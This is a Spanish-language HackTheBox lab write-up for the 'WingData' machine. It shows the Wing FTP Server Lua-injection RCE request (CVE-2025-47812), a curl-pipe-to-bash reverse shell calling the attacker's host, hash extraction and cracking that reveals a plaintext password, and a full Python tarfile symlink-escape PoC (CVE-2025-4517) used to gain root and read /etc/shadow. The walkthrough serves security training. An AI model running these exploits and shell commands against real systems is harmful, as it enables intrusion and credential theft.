This page looks best with JavaScript enabled

HackTheBox - WingData

En WingData descubrimos Wing FTP Server en una version vulnerable que permitio el acceso inicial. Los archivos de configuracion para este, permitieron exponer credenciales para un primer usuario. Escalamos privilegios a traves de una vulnerabilidad en TarFile de Python para la escritura de archivos a traves de enlaces simbolicos.

Nombre WingData
OS

Linux

Puntos 20
Dificultad Easy
Fecha de Salida 2026-02-14
IP 10.129.2.158
Maker

WackyH4cker

Rated
{
    "type": "bar",
    "data":  {
        "labels": ["Cake", "VeryEasy", "Easy", "TooEasy", "Medium", "BitHard","Hard","TooHard","ExHard","BrainFuck"],
        "datasets": [{
            "label": "User Rated Difficulty",
            "data": [66, 81, 231, 122, 53, 14, 9, 2, 4, 7],
            "backgroundColor": ["#9fef00","#9fef00","#9fef00", "#ffaf00","#ffaf00","#ffaf00","#ffaf00", "#ff3e3e","#ff3e3e","#ff3e3e"]
        }]
    },
    "options": {
        "scales": {
          "xAxes": [{"display": false}],
          "yAxes": [{"display": false}]
        },
        "legend": {"labels": {"fontColor": "white"}},
        "responsive": true
      }
}

Recon

nmap

nmap muestra multiples puertos abiertos: http (80) y ssh (22).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
# Nmap 7.95 scan initiated Sat Feb 14 16:26:49 2026 as: /usr/lib/nmap/nmap --privileged -p22,80 -sV -sC -oN nmap_scan 10.129.2.158
Nmap scan report for 10.129.2.158
Host is up (0.067s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey: 
|   256 a1:fa:95:8b:d7:56:03:85:e4:45:c9:c7:1e:ba:28:3b (ECDSA)
|_  256 9c:ba:21:1a:97:2f:3a:64:73:c1:4c:1d:ce:65:7a:2f (ED25519)
80/tcp open  http    Apache httpd 2.4.66
|_http-title: Did not follow redirect to http://wingdata.htb/
|_http-server-header: Apache/2.4.66 (Debian)
Service Info: Host: localhost; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Feb 14 16:27:01 2026 -- 1 IP address (1 host up) scanned in 11.95 seconds

Web Site

El sitio web nos redirige al dominio wingdata.htb el cual agregamos al archivo /etc/hosts.

1
2
3
4
5
6
7
8
❯ curl -sI 10.129.2.158
HTTP/1.1 301 Moved Permanently
Date: Sat, 14 Feb 2026 22:28:39 GMT
Server: Apache/2.4.66 (Debian)
Location: http://wingdata.htb/
Content-Type: text/html; charset=iso-8859-1

El sitio expone una descripcion de una solucion para compartir archivos.

image

Directory Brute Forcing

feroxbuster muestra contenido estatico dle sitio.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
❯ feroxbuster -u http://wingdata.htb -w $CM
                                                                                                                                                                                        
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.13.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://wingdata.htb/
 🚩  In-Scope Url          │ wingdata.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirb/common.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)7
 🦡  User-Agent            │ feroxbuster/2.13.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200      GET      151l      333w     3905c http://wingdata.htb/assets/js/templatemo-custom.js
200      GET      186l      505w     4928c http://wingdata.htb/assets/css/owl.css
200      GET      251l     1069w    12492c http://wingdata.htb/index.html
200      GET      193l      571w     5974c http://wingdata.htb/assets/js/animation.js
200      GET       44l      333w    19982c http://wingdata.htb/assets/images/contact-decoration.png
200      GET        4l       64w    23742c http://wingdata.htb/assets/css/fontawesome.css
200      GET      496l     1721w    13281c http://wingdata.htb/assets/js/imagesloaded.js
200      GET      149l      837w    67141c http://wingdata.htb/assets/images/about-left-image.png
200      GET     1577l     3269w    31620c http://wingdata.htb/assets/css/templatemo-space-dynamic.css
200      GET      329l     1996w   148839c http://wingdata.htb/assets/images/banner-right-image.png
200      GET        2l     1283w    86927c http://wingdata.htb/vendor/jquery/jquery.min.js
200      GET     3158l     6952w    76080c http://wingdata.htb/assets/css/animated.css
200      GET     3448l    10094w    93438c http://wingdata.htb/assets/js/owl-carousel.js
200      GET        7l     1002w    80223c http://wingdata.htb/vendor/bootstrap/js/bootstrap.bundle.min.js
200      GET    10724l    20204w   204037c http://wingdata.htb/vendor/bootstrap/css/bootstrap.min.css
200      GET      251l     1069w    12492c http://wingdata.htb/
301      GET        9l       29w      353c http://wingdata.htb/assets => http://wingdata.htb/assets/
301      GET        9l       29w      357c http://wingdata.htb/assets/css => http://wingdata.htb/assets/css/
301      GET        9l       29w      359c http://wingdata.htb/assets/fonts => http://wingdata.htb/assets/fonts/
301      GET        9l       29w      360c http://wingdata.htb/assets/images => http://wingdata.htb/assets/images/
301      GET        9l       29w      356c http://wingdata.htb/assets/js => http://wingdata.htb/assets/js/
301      GET        9l       29w      353c http://wingdata.htb/vendor => http://wingdata.htb/vendor/
301      GET        9l       29w      360c http://wingdata.htb/vendor/jquery => http://wingdata.htb/vendor/jquery/

Subdomain Discovery

Tras ejecutar ffuf este muestra el subdominio ftp.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
❯ ffuf -w /usr/share/seclists/Discovery/DNS/namelist.txt -H "Host: FUZZ.wingdata.htb" -u http://wingdata.htb -fw 21

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://wingdata.htb
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/namelist.txt
 :: Header           : Host: FUZZ.wingdata.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response words: 21
________________________________________________

ftp                     [Status: 200, Size: 678, Words: 44, Lines: 10, Duration: 136ms]
:: Progress: [151265/151265] :: Job [1/1] :: 555 req/sec :: Duration: [0:05:02] :: Errors: 0 ::

Wing FTP

En el subdominio encontramos el login para Wing FTP Server v7.4.3. Las credenciales anonymous: son aceptadas.

image

CVE-2025-47812

searchsploit muestra que existe un exploit para una vulnerabilidad que permite la ejecucion remota de comandos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
❯ searchsploit wing ftp 7.4.3
---------------------------------------------------------- ---------------------------------
 Exploit Title                                            |  Path
---------------------------------------------------------- ---------------------------------
Wing FTP Server 7.4.3 - Unauthenticated Remote Code Execu | multiple/remote/52347.py
---------------------------------------------------------- ---------------------------------
Shellcodes: No Results
❯ searchsploit -m multiple/remote/52347.py
  Exploit: Wing FTP Server 7.4.3 - Unauthenticated Remote Code Execution  (RCE)
      URL: https://www.exploit-db.com/exploits/52347
     Path: /usr/share/exploitdb/exploits/multiple/remote/52347.py
    Codes: CVE-2025-47812
 Verified: False
File Type: Python script, ASCII text executable
Copied to: /home/kali/htb/wingdata/52347.py


El exploit realiza una inyeccion de codigo Lua al realizar el login.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
POST /loginok.html HTTP/1.1
Host: <target>
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:139.0) Gecko/20100101 Firefox/139.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Origin: <target>
Connection: keep-alive
Referer: <target>/login.html?lang=english
Cookie: client_lang=english
Upgrade-Insecure-Requests: 1
Priority: u=0, i

username=anonymous%00]]%0dlocal+h+%3d+io.popen("<cmd>")%0dlocal+r+%3d+h%3aread("*a")%0dh%3aclose()%0dprint(r)%0d--&password=

Al realizar una solicitud a /dir.html se ejecutaria el comando.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
GET /dir.html HTTP/1.1
Host: <target>
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:139.0) Gecko/20100101 Firefox/139.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: UID=<uid_from_set-cookie>
Upgrade-Insecure-Requests: 1
Priority: u=0, i

El usuario por default a utilizar es anonymous, tras ejecutar el exploit observamos que fue aceptado y se realizo la ejecucion del comando indicado.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
❯ python CVE-2025-47812.py
usage: CVE-2025-47812.py [-h] [-u URL] [-f FILE] [-c COMMAND] [-v] [-o OUTPUT] [-U USERNAME]
CVE-2025-47812.py: error: Either -u/--url or -f/--file must be specified.
❯ python CVE-2025-47812.py -u http://ftp.wingdata.htb -c id

[*] Testing target: http://ftp.wingdata.htb
[+] Sending POST request to http://ftp.wingdata.htb/loginok.html with command: 'id' and username: 'anonymous'
[+] UID extracted: 3a99e4d2002defd74c101523a2ed6087f528764d624db129b32c21fbca0cb8d6
[+] Sending GET request to http://ftp.wingdata.htb/dir.html with UID: 3a99e4d2002defd74c101523a2ed6087f528764d624db129b32c21fbca0cb8d6

--- Command Output ---
uid=1000(wingftp) gid=1000(wingftp) groups=1000(wingftp),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev)
----------------------

User - wingftp

Ejecutamos una shell inversa a traves del exploit.

1
2
3
4
5
6
❯ python CVE-2025-47812.py -u http://ftp.wingdata.htb -c 'curl 10.10.15.60:8000/10.10.15.60:1335|bash' -U anonymous

[*] Testing target: http://ftp.wingdata.htb
[+] Sending POST request to http://ftp.wingdata.htb/loginok.html with command: 'curl 10.10.15.60:8000/10.10.15.60:1335|bash' and username: 'anonymous'
[+] UID extracted: 45e947099b3fbdd7e38d0884d9fd3736f528764d624db129b32c21fbca0cb8d6
[+] Sending GET request to http://ftp.wingdata.htb/dir.html with UID: 45e947099b3fbdd7e38d0884d9fd3736f528764d624db129b32c21fbca0cb8d6

Logrando el acceso como wingftp.

1
2
3
4
5
6
7
8
9
❯ rlwrap nc -lvp 1335
listening on [any] 1335 ...
connect to [10.10.15.60] from wingdata.htb [10.129.2.158] 43638
/bin/sh: 0: can't access tty; job control turned off
$ whoami;id;pwd
wingftp
uid=1000(wingftp) gid=1000(wingftp) groups=1000(wingftp),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev)
/opt/wftpserver
$

Config Files

En el archivo de configuracion del administrador encontramos el hash.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$ ls -lah _ADMINISTRATOR
total 16K
drwxr-x--- 2 wingftp wingftp 4.0K Feb 14 15:04 .
drwxr-x--- 4 wingftp wingftp 4.0K Feb 14 15:04 ..
-rwxr-x--- 1 wingftp wingftp  511 Feb 14 15:04 admins.xml
-rwxr-x--- 1 wingftp wingftp  372 Nov  2 16:26 settings.xml
$ cat _ADMINISTRATOR/admins.xml
<?xml version="1.0" ?>
<ADMIN_ACCOUNTS Description="Wing FTP Server Admin Accounts">
    <ADMIN>
        <Admin_Name>admin</Admin_Name>
        <Password>a8339f8e4465a9c47158394d8efe7cc45a5f361ab983844c8562bef2193bafba</Password>
        <Type>0</Type>
        <Readonly>0</Readonly>
        <IsDomainAdmin>0</IsDomainAdmin>
        <DomainList></DomainList>
        <MyDirectory></MyDirectory>
        <EnableTwoFactor>0</EnableTwoFactor>
        <TwoFactorCode></TwoFactorCode>
    </ADMIN>
</ADMIN_ACCOUNTS>
$ pwd
/opt/wftpserver/Data
$

Tambien en los archivos para los usuarios.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
$ cat settings.xml | grep ServerPassword
    <ServerPassword>2D35A8D420A697203D7C554A678F8119</ServerPassword>
$ ls -lah 1/users/
total 28K
drwxr-x--- 2 wingftp wingftp 4.0K Feb 14 17:44 .
drwxr-x--- 4 wingftp wingftp 4.0K Feb  9 08:19 ..
-rwxr-x--- 1 wingftp wingftp 2.8K Feb 14 17:44 anonymous.xml
-rwxr-x--- 1 wingftp wingftp 2.8K Nov  2 11:13 john.xml
-rw-rw-rw- 1 wingftp wingftp 2.8K Nov  2 12:05 maria.xml
-rw-rw-rw- 1 wingftp wingftp 2.8K Nov  2 12:02 steve.xml
-rw-rw-rw- 1 wingftp wingftp 2.8K Nov  2 12:28 wacky.xml
$ cat 1/users/*.xml | grep '<Password>' | cut -d '>' -f2 | cut -d '<' -f1
d67f86152e5c4df1b0ac4a18d3ca4a89c1b12e6b748ed71d01aeb92341927bca
c1f14672feec3bba27231048271fcdcddeb9d75ef79f6889139aa78c9d398f10
a70221f33a51dca76dfd46c17ab17116a97823caf40aeecfbc611cae47421b03
5916c7481fa2f20bd86f4bdb900f0342359ec19a77b7e3ae118f3b5d0d3334ca
32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca
$

En configuraciones (settings.xml) para usuarios, encontramos informacion para MySQL, LDAP y, el salt para los hashes de contrasena.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
$ ls
groups
portlistener.xml
settings.xml
users
$ cat settings.xml
<?xml version="1.0" ?>
<DOMAIN_OPTION Description="Wing FTP Server Domain settings">
    # [... cut ...]
    <MYSQL_Address>localhost</MYSQL_Address>
    <MYSQL_Port>3306</MYSQL_Port>
    <MYSQL_Username>root</MYSQL_Username>
    <MYSQL_Password></MYSQL_Password>
    <MYSQL_DatabaseName>wftp_database</MYSQL_DatabaseName>
    # [... cut ...]
    <ADUser_User_Mapping>ADUser001:LocalUser001&#x0A;ADUser002:LocalUser002</ADUser_User_Mapping>
    <LDAP_Enable>0</LDAP_Enable>
    <LDAP_Host>localhost</LDAP_Host>
    <LDAP_Port>389</LDAP_Port>
    <LDAP_UseSSL>0</LDAP_UseSSL>
    <LDAP_BindDN></LDAP_BindDN>
    <LDAP_BindPass></LDAP_BindPass>
    <LDAP_BaseDN></LDAP_BaseDN>
    <LDAP_Filter>(&amp;(objectClass=posixAccount)(uid=%s))</LDAP_Filter>
    # [... cut ...]
    <LDAP_User_Mapping>LDAPUser001:LocalUser001&#x0A;LDAPUser002:LocalUser002</LDAP_User_Mapping>
    <LDAP_Group_Mapping>CN=ADGroup1,CN=Builtin,DC=wftpserver,DC=com:LocalUser1&#x0A;CN=ADGroup2,CN=Builtin,DC=wftpserver,DC=com:LocalUser2</LDAP_Group_Mapping>
    <LDAP_Version>3</LDAP_Version>
    # [... cut ...]>
    <EnableSHA256>1</EnableSHA256>
    # [... cut ...]
    <TLS_Session_Timeout>3600</TLS_Session_Timeout>
    <EnablePasswordSalting>1</EnablePasswordSalting>
    <SaltingString>WingFTP</SaltingString>
    # [... cut ...]
</DOMAIN_OPTION>
$

Agregamos el salt a los hashes encontrados.

1
2
3
4
5
6
7
$ for h in $(cat 1/users/*.xml | grep '<Password>' | cut -d '>' -f2 | cut -d '<' -f1); do echo "$h:WingFTP"; done;
d67f86152e5c4df1b0ac4a18d3ca4a89c1b12e6b748ed71d01aeb92341927bca:WingFTP
c1f14672feec3bba27231048271fcdcddeb9d75ef79f6889139aa78c9d398f10:WingFTP
a70221f33a51dca76dfd46c17ab17116a97823caf40aeecfbc611cae47421b03:WingFTP
5916c7481fa2f20bd86f4bdb900f0342359ec19a77b7e3ae118f3b5d0d3334ca:WingFTP
32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP
$

Crack The Hash

Ejecutamos hashcat en modo 1410 para sha256($hash.$salt), este encontro el valor para dos, uno vacio y el otro pertenece a wacky.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
PS C:\Users\x\Documents\github\hashcat-7.1.2> ./hashcat.exe -m 1410 ./wftp_hashes.txt ./rockyou.txt
hashcat (v7.1.2) starting

# [... cut ...]

Dictionary cache hit:
* Filename..: ./rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

d67f86152e5c4df1b0ac4a18d3ca4a89c1b12e6b748ed71d01aeb92341927bca:WingFTP:
Approaching final keyspace - workload adjusted.

32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP:!#7Blushing^*Bride5

Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 1410 (sha256($pass.$salt))
Hash.Target......: ./wftp_hashes.txt
Time.Started.....: Sat Feb 14 17:10:49 2026 (1 sec)
Time.Estimated...: Sat Feb 14 17:10:50 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (./rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........: 26899.6 kH/s (1.81ms) @ Accel:1024 Loops:1 Thr:64 Vec:1
Recovered........: 2/5 (40.00%) Digests (total), 2/5 (40.00%) Digests (new)
Progress.........: 14344385/14344385 (100.00%)
Rejected.........: 0/14344385 (0.00%)
Restore.Point....: 14344385/14344385 (100.00%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#01...: 0213JR -> $HEX[042a0337c2a156616d6f732103]
Hardware.Mon.#01.: Temp: 36c Fan:  0% Util: 35% Core:2505MHz Mem:8251MHz Bus:8
# [... cut ...]
PS C:\Users\x\Documents\github\hashcat-7.1.2>

Observamos que las credenciales son aceptadas por SSH.

1
2
3
4
❯ netexec ssh wingdata.htb -u 'wacky' -p '!#7Blushing^*Bride5'
SSH         10.129.2.158    22     wingdata.htb     [*] SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u7
SSH         10.129.2.158    22     wingdata.htb     [+] wacky:!#7Blushing^*Bride5 (Pwn3d!) Linux - Shell access!

User - Wacky

Con este par logramos el acceso por ssh y a la flag user.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
❯ ssh wacky@wingdata.htb
The authenticity of host 'wingdata.htb (10.129.2.158)' can't be established.
ED25519 key fingerprint is: SHA256:JacnW6dsEmtRtwu2ULpY/CK8n/8M9tU+6pQhjBG3a4w
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'wingdata.htb' (ED25519) to the list of known hosts.
wacky@wingdata.htb's password: 
Linux wingdata 6.1.0-42-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.159-1 (2025-12-30) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Feb 14 18:12:07 2026 from 10.10.15.60
wacky@wingdata:~$ whoami;id;pwd
wacky
uid=1001(wacky) gid=1001(wacky) groups=1001(wacky)
/home/wacky
wacky@wingdata:~$ ls
user.txt
wacky@wingdata:~$ cat user.txt 
e41f72e15d68fca0f208d787d361e18d
wacky@wingdata:~$

Privesc

Wacky puede ejecutar como root el script restore_backup_clients.py.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
wacky@wingdata:~$ sudo -l -l
Matching Defaults entries for wacky on wingdata:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User wacky may run the following commands on wingdata:

Sudoers entry:
    RunAsUsers: root
    Options: !authenticate
    Commands:
	/usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *
wacky@wingdata:~$ file /opt/backup_clients/restore_backup_clients.py
/opt/backup_clients/restore_backup_clients.py: Python script, Unicode text, UTF-8 text executable
wacky@wingdata:~$

Este permite restaurar archivos dentro de un archivo tar a un directorio objetivo.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
wacky@wingdata:~$ python3 /opt/backup_clients/restore_backup_clients.py -h
usage: restore_backup_clients.py [-h] -b BACKUP -r RESTORE_DIR

Restore client configuration from a validated backup tarball.

options:
  -h, --help            show this help message and exit
  -b BACKUP, --backup BACKUP
                        Backup filename (must be in /home/wacky/backup_clients/ and match backup_<client_id>.tar, where <client_id> is a positive integer, e.g., backup_1001.tar)
  -r RESTORE_DIR, --restore-dir RESTORE_DIR
                        Staging directory name for the restore operation. Must follow the format: restore_<client_user> (e.g., restore_john). Only alphanumeric characters and
                        underscores are allowed in the <client_user> part (1–24 characters).

Example: sudo restore_backup_clients.py -b backup_1001.tar -r restore_john
wacky@wingdata:~$

El script utiliza la libreria tarfile, se espera un archivo backup backup_1001.tar, el archivo se restaura en /opt/backup_clients/restored_backups/<restore_dir_arg>.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
#!/usr/bin/env python3
import tarfile
import os
import sys
import re
import argparse

BACKUP_BASE_DIR = "/opt/backup_clients/backups"
STAGING_BASE = "/opt/backup_clients/restored_backups"

def validate_backup_name(filename):
    if not re.fullmatch(r"^backup_\d+\.tar$", filename):
        return False
    client_id = filename.split('_')[1].rstrip('.tar')
    return client_id.isdigit() and client_id != "0"

def validate_restore_tag(tag):
    return bool(re.fullmatch(r"^[a-zA-Z0-9_]{1,24}$", tag))

def main():
    parser = argparse.ArgumentParser(
        description="Restore client configuration from a validated backup tarball.",
        epilog="Example: sudo %(prog)s -b backup_1001.tar -r restore_john"
    )
    parser.add_argument(
        "-b", "--backup",
        required=True,
        help="Backup filename (must be in /home/wacky/backup_clients/ and match backup_<client_id>.tar, "
             "where <client_id> is a positive integer, e.g., backup_1001.tar)"
    )
    parser.add_argument(
        "-r", "--restore-dir",
        required=True,
        help="Staging directory name for the restore operation. "
             "Must follow the format: restore_<client_user> (e.g., restore_john). "
             "Only alphanumeric characters and underscores are allowed in the <client_user> part (1–24 characters)."
    )

    args = parser.parse_args()

    if not validate_backup_name(args.backup):
        print("[!] Invalid backup name. Expected format: backup_<client_id>.tar (e.g., backup_1001.tar)", file=sys.stderr)
        sys.exit(1)

    backup_path = os.path.join(BACKUP_BASE_DIR, args.backup)
    if not os.path.isfile(backup_path):
        print(f"[!] Backup file not found: {backup_path}", file=sys.stderr)
        sys.exit(1)

    if not args.restore_dir.startswith("restore_"):
        print("[!] --restore-dir must start with 'restore_'", file=sys.stderr)
        sys.exit(1)

    tag = args.restore_dir[8:]
    if not tag:
        print("[!] --restore-dir must include a non-empty tag after 'restore_'", file=sys.stderr)
        sys.exit(1)

    if not validate_restore_tag(tag):
        print("[!] Restore tag must be 1–24 characters long and contain only letters, digits, or underscores", file=sys.stderr)
        sys.exit(1)

    staging_dir = os.path.join(STAGING_BASE, args.restore_dir)
    print(f"[+] Backup: {args.backup}")
    print(f"[+] Staging directory: {staging_dir}")

    os.makedirs(staging_dir, exist_ok=True)

    try:
        with tarfile.open(backup_path, "r") as tar:
            tar.extractall(path=staging_dir, filter="data")
        print(f"[+] Extraction completed in {staging_dir}")
    except (tarfile.TarError, OSError, Exception) as e:
        print(f"[!] Error during extraction: {e}", file=sys.stderr)
        sys.exit(2)

if __name__ == "__main__":
    main()

El usuario tiene acceso a ambos directorios, backups y restored_backups.

1
2
3
4
5
wacky@wingdata:~$ ls -ld /opt/backup_clients/restored_backups
drwxr-x--- 2 root wacky 4096 Jan 12 08:43 /opt/backup_clients/restored_backups
wacky@wingdata:~$ ls -ld /opt/backup_clients/backups
drwxrwx--- 2 root wacky 4096 Jan 12 08:32 /opt/backup_clients/backups
wacky@wingdata:~$

CVE-2025-4517

Encontramos el CVE-2025-4517 que afecta a la version de Python de la maquina, esta permite escribir/crear archivos a traves de enlaces simbolicos (symlink) en un archivo tar.

1
2
3
wacky@wingdata:~$ python3 --version
Python 3.12.3
wacky@wingdata:~$ 

Vemos el uso de tar.extractall en el script.

1
2
3
4
5
6
7
#!/usr/bin/env python3
import tarfile
# ... cut ...
try:
    with tarfile.open(backup_path, "r") as tar:
        tar.extractall(path=staging_dir, filter="data")
# .. cut ..

Modificamos el PoC para realizar la escritura de nuestra clave publica en el directorio /root en el archivo .ssh/authorized_keys.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import tarfile
import os
import io
import sys

comp = 'd' * 247
steps = "abcdefghijklmnop"
path = ""
with tarfile.open("/opt/backup_clients/backups/backup_1001.tar", mode="x") as tar:
    # populate the symlinks and dirs that expand in os.path.realpath()
    for i in steps:
        a = tarfile.TarInfo(os.path.join(path, comp))
        a.type = tarfile.DIRTYPE
        tar.addfile(a)
        b = tarfile.TarInfo(os.path.join(path, i))
        b.type = tarfile.SYMTYPE
        b.linkname = comp
        tar.addfile(b)
        path = os.path.join(path, comp)
    # create the final symlink that exceeds PATH_MAX and simply points to the
    # top dir. this allows *any* path to be appended.
    # this link will never be expanded by os.path.realpath(), nor anything after it.
    linkpath = os.path.join("/".join(steps), "l"*254)
    l = tarfile.TarInfo(linkpath)
    l.type = tarfile.SYMTYPE
    l.linkname = ("../" * len(steps))
    tar.addfile(l)

    # make a symlink outside to keep the tar command happy
    e = tarfile.TarInfo("escape")
    e.type = tarfile.SYMTYPE
    e.linkname = linkpath + "/../../../../../../root"
    tar.addfile(e)

    # use the symlinks above, that are not checked, to create a hardlink
    # to a file outside of the destination path
    f = tarfile.TarInfo("flaglink")
    f.type = tarfile.LNKTYPE
    f.linkname =  "escape/.ssh"
    tar.addfile(f)

    # now that we have the hardlink we can overwrite the file
    with open("/home/wacky/.ssh/id_rsa.pub", "rb") as f:
        pub_key = f.read().strip() + b"\n"
    
    c = tarfile.TarInfo("escape/.ssh/authorized_keys")
    c.type = tarfile.REGTYPE
    c.size = len(pub_key)
    tar.addfile(c, fileobj=io.BytesIO(pub_key))

Generamos una clave ssh para wacky.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# generate ssh key for wacky
wacky@wingdata:~$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/wacky/.ssh/id_rsa): 
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /home/wacky/.ssh/id_rsa
Your public key has been saved in /home/wacky/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:ZUHF1CDzoDzS63mBQb2eW5N2JJdlnDhQ7X4wTh1Y4HE wacky@wingdata
The key's randomart image is:
+---[RSA 3072]----+
|        .o*=***E.|
|       + ..*o++++|
|      . * o...o=.|
|       . B. . B..|
|        S... B.o |
|       . .o.= o..|
|        o .+ o  .|
|         ..      |
|                 |
+----[SHA256]-----+
wacky@wingdata:~$ 

Tras ejecutar el exploit este crearia el archivo backup_1001.tar. Ejecutamos el script especificando el archivo tar.

1
2
3
4
5
6
wacky@wingdata:~$ python3 /tmp/exploit.py 
wacky@wingdata:~$ sudo python3 /opt/backup_clients/restore_backup_clients.py -b backup_1001.tar -r restore_root
[+] Backup: backup_1001.tar
[+] Staging directory: /opt/backup_clients/restored_backups/restore_root
[+] Extraction completed in /opt/backup_clients/restored_backups/restore_root
wacky@wingdata:~$

Con ello se agregaria nuestra clave publica a /root/.ssh/authorized_keys. Ejecutamos ssh para root logrando el acceso a este usuario y la flag root.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
wacky@wingdata:~$ ssh root@localhost
Linux wingdata 6.1.0-42-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.159-1 (2025-12-30) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Feb 14 19:22:20 2026 from ::1
root@wingdata:~# whoami;id;pwd
root
uid=0(root) gid=0(root) groups=0(root)
/root
root@wingdata:~# cat root.txt 
44ee56770ec1725eaf75e7a92d10f0d0
root@wingdata:~#

Dump Hashes

Realizamos la lectura del archivo /etc/shadow.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
root@wingdata:~# cat /etc/shadow
